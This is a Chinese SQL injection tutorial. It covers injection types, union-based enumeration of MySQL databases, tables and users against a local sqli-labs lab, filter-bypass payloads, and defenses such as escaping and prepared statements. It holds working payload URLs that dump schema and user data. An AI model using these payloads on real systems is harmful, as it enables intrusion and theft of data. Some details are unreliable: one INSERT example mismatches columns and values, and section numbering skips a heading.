增 Insert
基本语法 INSERT INTO 表名称 VALUES (值1, 值2,....)
例子 insert into student(name,sex,age) values('张三',18,'男') 删 delete
基本语法 DELETE FROM 表名称 WHERE 列名称 = 值
例子 delete from student where id=1 改 update
基本语法 UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
列子 update student set name = '张三' where id=1 查 select
基本语法 SELECT 列名称 FROM 表名称
例子 select * from student
(2)系统函数
Mysql 有一个系统数据库 information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ****
二、分类
根据输入参数分为:
数字型注入
字符型注入
根据注入技巧分为:
联合注入
盲注
堆叠注入
报错注入
二次注入
宽字节注入
根据提交类型分为:
GET 注入
POST 注入
COOKIE 注入
HTTP 头部注入
1.根据输入参数分类的 SQL 注入
(1)数字型注入
我们经常可以看到这样的 url http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入,这是因为其注入点 id 类型为数字。这一类的 SQL 语句原型一般为 select * from 表名 where id=1。
(2)字符型注入
我们有时又会看到这样的 url http://xxx.com/users.php?name=admin 基于此种形式的注入,一般被叫做字符型注入,这是因为其注入点 name 类型为字符串。这一类的 SQL 语句原型一般为 select * from 表名 where name='admin'
2.根据注入技巧分类的 SQL 注入
(1)联合注入
什么是联合注入?
联合注入顾名思义,就是使用联合查询进行注入的一种方式,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的 MYSQL 数据库。
union 操作符介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
联合注入演示
使用 sqli-labs less1 进行联合注入的流程演示
爆数据库
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆 security 数据库的数据表
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
爆 users 表的列
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
爆数据
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1'union select 1,group_concat(username),3 from users--+
(1)使用 in() 绕过
示例:
?id=' or substr((select database()),1,1) in('s')
(2)greatest,strcmp 等函数进行绕过
示例:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
select strcmp(left(database(),1),0x32);#lpad('asd',2,0)
四、防御
SQL注入危害虽大,但是可以完全杜绝
1.严格的数据类型
在传入参数的地方限制参数的类型,比如整型 Integer,随后加入函数判断,如is_numeric($_GET[‘id’]) 只有当 get 到的 id 为数字或者数字字符时才能执行下一步。但这种方法存在一定的限制,只能在特定的页面才能使用,一般大部分都是要求我们传入的字符串,但可以很大程度限制整型注入的情况。
2.特殊字符转义
数字型注入可以通过检查数据类型防御,字符型则需要对特殊字符进行转义。在 MySQL 中我们需要对" '进行转义,这样可以防止恶意攻击者来闭合语句。我们通常使用 addslashes() 等安全函数来转义特殊字符。
3.使用预编译语句